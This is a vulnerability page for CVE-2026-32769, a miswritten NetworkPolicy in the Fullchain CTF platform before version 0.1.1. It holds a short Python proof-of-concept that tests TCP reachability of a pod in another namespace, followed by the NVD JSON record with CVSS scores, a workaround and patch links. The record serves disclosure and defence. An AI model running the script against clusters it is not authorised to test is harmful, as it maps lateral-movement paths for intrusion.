CVE-2026-32769

#!/usr/bin/env python3 """ PoC for CVE-2026-32769: Fullchain NetworkPolicy Misconfiguration Description: This script attempts to connect to a target Pod in a different namespace from a compromised Pod to demonstrate the lack of network isolation. """ import socket import sys def check_connectivity(target_host, target_port): try: print(f"[*] Attempting to connect to {target_host}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((target_host, target_port)) if result == 0: print(f"[+] SUCCESS: Connection established to {target_host}:{target_port}") print("[+] NetworkPolicy isolation is bypassed.") sock.close() return True else: print(f"[-] FAILED: Connection refused to {target_host}:{target_port}") sock.close() return False except Exception as e: print(f"[-] ERROR: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <target_ip> <target_port>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) print(f"--- CVE-2026-32769 PoC ---") if check_connectivity(target, port): print("[!] Vulnerability confirmed: Lateral movement possible.") else: print("[!] Target unreachable, but might be due to other firewall rules.")

{"cve": {"id": "CVE-2026-32769", "sourceIdentifier": "[email protected]", "published": "2026-03-20T01:15:55.780", "lastModified": "2026-04-16T13:36:01.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fullchain is an umbrella project for deploying a ready-to-use CTF platform. In versions prior to 0.1.1, due to a mis-written NetworkPolicy, a malicious actor can pivot from a subverted application to any Pod out of the origin namespace. The flawed inter-ns NetworkPolicy breaks the security-by-default property expected as part of the deployment program, leading to a potential lateral movement. This issue has been fixed in version 0.1.1. To workaround, delete the failing network policy that should be prefixed by inter-ns- in the target namespace."}, {"lang": "es", "value": "Fullchain es un proyecto paraguas para desplegar una plataforma CTF lista para usar. En versiones anteriores a la 0.1.1, debido a una NetworkPolicy mal escrita, un actor malicioso puede pivotar desde una aplicación subvertida a cualquier Pod fuera del espacio de nombres de origen. La NetworkPolicy inter-ns defectuosa rompe la propiedad de seguridad por defecto esperada como parte del programa de despliegue, lo que lleva a un posible movimiento lateral. Este problema ha sido solucionado en la versión 0.1.1. Como solución alternativa, elimine la NetworkPolicy fallida que debería tener el prefijo inter-ns- en el espacio de nombres de destino."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ctfer:fullchain:*:*:*:*:*:go:*:*", "versionEndExcluding": "0.1.1", "matchCriteriaId": "F43E8FC8-D19D-4C6B-8BD4-DB12AC54195B"}]}]}], "references": [{"url": "https://github.com/ctfer-io/fullchain/commit/dbcb90178bcb07a3f5a1efa4c6350f3a6ce34f51", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ctfer-io/fullchain/releases/tag/v0.1.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ctfer-io/fullchain/security/advisories/GHSA-hxm7-9q36-c77f", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}